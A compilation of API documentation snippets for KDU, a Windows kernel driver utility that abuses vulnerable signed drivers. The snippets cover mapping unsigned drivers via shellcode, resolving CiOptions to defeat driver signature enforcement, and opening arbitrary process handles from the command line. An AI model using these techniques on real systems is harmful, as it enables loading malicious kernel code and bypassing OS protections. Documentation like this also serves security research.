Driver object name (only valid for shellcode version 3) -drvr name - Optional, driver registry key name (only valid for shellcode version 3) ``` -------------------------------- ### Handle Unsupported Windows Build for EPROCESS Offsets Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/errors.md When retrieving EPROCESS offsets, check if the current Windows build is supported. If not, print an error message and consider manual offset configuration for slightly different builds. ```c KDU_EPROCESS_OFFSETS Offsets; if (!KDUGetEprocessOffsets(NtBuildNumber, &Offsets)) { printf("Windows build %u not supported\n", NtBuildNumber); // Try manually configuring offsets if build number is slightly off } ``` -------------------------------- ### KDUSetupShellCode Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-driver-mapping.md Prepares shellcode for driver mapping and creates a section for injection. It allocates and initializes shellcode, then creates a section object to be mapped into the target driver's address space. ```APIDOC ## KDUSetupShellCode ### Description Prepares shellcode for driver mapping and creates a section for injection. ### Signature ```c PVOID KDUSetupShellCode( _In_ PKDU_CONTEXT Context, _In_ PVOID ImageBase, _Out_ PHANDLE SectionHandle); ``` ### Parameters #### Path Parameters - None #### Query Parameters - None #### Request Body - None ### Parameters Table | Parameter | Type | Required | Description | |-----------|------|----------|-------------| | Context | PKDU_CONTEXT | Yes | Initialized KDU context with ShellVersion set | | ImageBase | PVOID | Yes | Base address of driver image in user-mode | | SectionHandle | PHANDLE | Yes | Output to receive created section handle | ### Return Value - Type: `PVOID` - Returns pointer to shellcode buffer on success, NULL on failure. - The section handle is valid until explicitly closed. ### Throws/Rejects - Returns NULL if shellcode version is invalid - Returns NULL if memory allocation fails - Returns NULL if section creation fails ### Request Example ```c HANDLE SectionHandle = NULL; PVOID ShellcodeBuffer = KDUSetupShellCode(Context, DriverImage, &SectionHandle); if (ShellcodeBuffer) { // Use shellcode for injection... CloseHandle(SectionHandle); // ShellcodeBuffer freed by KDU internally } ``` ``` -------------------------------- ### KDUProviderCreate Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Creates a new KDU provider context for accessing vulnerable drivers and kernel functionality. Initializes a KDU context that manages communication with vulnerable drivers, encapsulating provider selection, shellcode configuration, and operation state. ```APIDOC ## KDUProviderCreate ### Description Creates a new KDU provider context for accessing vulnerable drivers and kernel functionality. ### Function Signature ```c PKDU_CONTEXT WINAPI KDUProviderCreate( _In_ ULONG ProviderId, _In_ ULONG HvciEnabled, _In_ ULONG NtBuildNumber, _In_ ULONG ShellCodeVersion, _In_ KDU_ACTION_TYPE ActionType); ``` ### Parameters #### Path Parameters - **ProviderId** (ULONG) - Required - Identifier of the vulnerable driver provider to use (0 = auto-select) - **HvciEnabled** (ULONG) - Required - Indicates if Hypervisor Code Integrity is enabled (0 = disabled, non-zero = enabled) - **NtBuildNumber** (ULONG) - Required - Windows NT build number for provider selection - **ShellCodeVersion** (ULONG) - Required - Shellcode version for driver mapping (1-4, or KDU_SHELLCODE_NONE for non-mapping operations) - **ActionType** (KDU_ACTION_TYPE) - Required - Type of action to perform (ActionTypeMapDriver, ActionTypeDKOM, etc.) ### Return Value - Type: `PKDU_CONTEXT` - Returns pointer to initialized KDU_CONTEXT structure on success, NULL on failure. - The context must be released using `KDUProviderRelease()`. ### Throws/Rejects - Returns NULL if the provider ID is invalid for the current system build - Returns NULL if HVCI configuration is incompatible with the provider - Returns NULL if memory allocation fails ### Example ```c ULONG NtBuildNumber = GetNtBuildNumber(); ULONG HvciEnabled = IsHvciEnabled(); PKDU_CONTEXT Context = KDUProviderCreate( 0, // Auto-select provider HvciEnabled, NtBuildNumber, KDU_SHELLCODE_V1, ActionTypeMapDriver); if (Context) { // Use context for operations KDUProviderRelease(Context); } ``` ``` -------------------------------- ### Querying CiOptions with NTSTATUS Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/errors.md Demonstrates how to call KDUQueryCiOptions and check the returned NTSTATUS code to determine success or failure. Use NT_SUCCESS macro for checking status. ```c ULONG_PTR CiOptionsAddr = 0; NTSTATUS Status = KDUQueryCiOptions(NtOsMapped, NtOsKernelBase, &CiOptionsAddr, NtBuildNumber); if (NT_SUCCESS(Status)) { printf("Address resolved: 0x%llx\n", CiOptionsAddr); } else { printf("Resolution failed: 0x%08lx\n", Status); } ``` -------------------------------- ### Prepare Shellcode for Driver Mapping Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-driver-mapping.md Prepares shellcode for driver mapping and creates a section for injection. Returns a pointer to the shellcode buffer on success, or NULL on failure. The section handle is valid until explicitly closed. ```c PVOID KDUSetupShellCode( _In_ PKDU_CONTEXT Context, _In_ PVOID ImageBase, _Out_ PHANDLE SectionHandle); ``` ```c HANDLE SectionHandle = NULL; PVOID ShellcodeBuffer = KDUSetupShellCode(Context, DriverImage, &SectionHandle); if (ShellcodeBuffer) { // Use shellcode for injection... CloseHandle(SectionHandle); // ShellcodeBuffer freed by KDU internally } ``` -------------------------------- ### Calculate Image Hashes (C) Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-utilities.md Calculates multiple hash formats for a loaded image, including file, Authenticode, and page-level hashes. Ensure the output structure is correctly initialized. ```c typedef struct _KDU_IMAGE_HASH_INFO { BYTE FileHashSha1[20]; BYTE AuthenticodeHashSha1[20]; BYTE PageHashSha1[20]; BYTE PageHashSha256[32]; BOOL FileHashSha1Valid; BOOL AuthenticodeHashSha1Valid; BOOL PageHashSha1Valid; BOOL PageHashSha256Valid; } KDU_IMAGE_HASH_INFO; ``` ```c _Success_(return != FALSE) BOOL KDUCalcImageHashes( _In_reads_bytes_(ImageSize) PVOID ImageBase, _In_ ULONG ImageSize, _Out_ PKDU_IMAGE_HASH_INFO HashInfo); ``` ```c KDU_IMAGE_HASH_INFO HashInfo = {0}; if (KDUCalcImageHashes(DriverImage, ImageSize, &HashInfo)) { if (HashInfo.FileHashSha1Valid) { printf("File Hash SHA1: "); KDUPrintHashValue(HashInfo.FileHashSha1, sizeof(HashInfo.FileHashSha1)); } } ``` -------------------------------- ### Detect KDU Environment Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-utilities.md Call this function to detect virtual machines, sandboxes, and emulation artifacts. Results are printed to the console. ```c VOID KDUDetectEnvironment(VOID); ``` ```c KDUDetectEnvironment(); // Output includes VM artifacts, sandbox indicators, emulation detection ``` -------------------------------- ### KDUQueryCiOptionsEx Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-dse.md Extended version of CiOptions resolution with manual CiInitialize pointer. Similar to KDUQueryCiOptions but accepts an explicit pointer to the CiInitialize function instead of searching for it. Useful when you already have the function address from symbol resolution. ```APIDOC ## KDUQueryCiOptionsEx ### Description Extended version of CiOptions resolution with manual CiInitialize pointer. Useful when you already have the function address from symbol resolution. ### Signature ```c NTSTATUS KDUQueryCiOptionsEx( _In_ HMODULE ImageMappedBase, _In_ ULONG_PTR ImageLoadedBase, _In_ PBYTE CiInitialize, _Out_ ULONG_PTR* ResolvedAddress, _In_ ULONG NtBuildNumber); ``` ### Parameters #### Path Parameters - **ImageMappedBase** (HMODULE) - Required - User-mode mapped base of ntoskrnl.exe - **ImageLoadedBase** (ULONG_PTR) - Required - Kernel-mode loaded base of ntoskrnl.exe - **CiInitialize** (PBYTE) - Required - Pointer to CiInitialize function code - **ResolvedAddress** (ULONG_PTR*) - Required - Output to receive resolved address - **NtBuildNumber** (ULONG) - Required - Windows NT build number ### Return Value - Type: `NTSTATUS` - STATUS_SUCCESS if address resolved, error code otherwise. ``` -------------------------------- ### Open Process Handle and Launch Child Process Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/configuration.md The -pho command acquires an arbitrary process handle and launches a child process that inherits it. Optional parameters allow specifying the child command line and PPL level. ```bash kdu -pho 1234 ``` ```bash kdu -pho 1234 -phc "C:\Windows\System32\cmd.exe" ``` ```bash kdu -pho 1234 -phe 3 -phc "C:\Windows\System32\cmd.exe" ``` -------------------------------- ### Launch Program as Protected Process with KDU Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/README.md Execute a program as a protected process using KDU. This is useful for launching applications with elevated privileges or specific security contexts. See configuration.md and api-reference-process.md for more information. ```bash kdu -pse "C:\Windows\System32\notepad.exe" ``` -------------------------------- ### Provider Selection Command Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/INDEX.md Use this command to select a specific provider by its ID. ```bash kdu -prv ``` -------------------------------- ### Information Commands Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/INDEX.md Commands to list available providers or run diagnostics. The listcsv option can output to a file. ```bash kdu -list ``` ```bash kdu -listcsv [file] ``` ```bash kdu -diag ``` -------------------------------- ### Client-Side IPC Connection and Message Sending Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-ipc.md Demonstrates how a client program connects to the IPC server using \\KduPort and sends a message. This involves initializing a Unicode string for the port name, connecting to the port, sending a request, and closing the port handle. ```c UNICODE_STRING PortName; HANDLE PortHandle = NULL; RtlInitUnicodeString(&PortName, L"\\KduPort"); NTSTATUS Status = NtConnectPort( &PortHandle, &PortName, NULL, // SecurityQos NULL, // ClientView NULL, // ServerView NULL, // MaxMessageLength NULL, // ConnectionInformation NULL // ConnectionInformationLength ); if (NT_SUCCESS(Status)) { // Send message to server KDU_MSG Message = {0}; Message.Function = 1; Status = NtRequestPort(PortHandle, (PPORT_MESSAGE)&Message); NtClose(PortHandle); } ```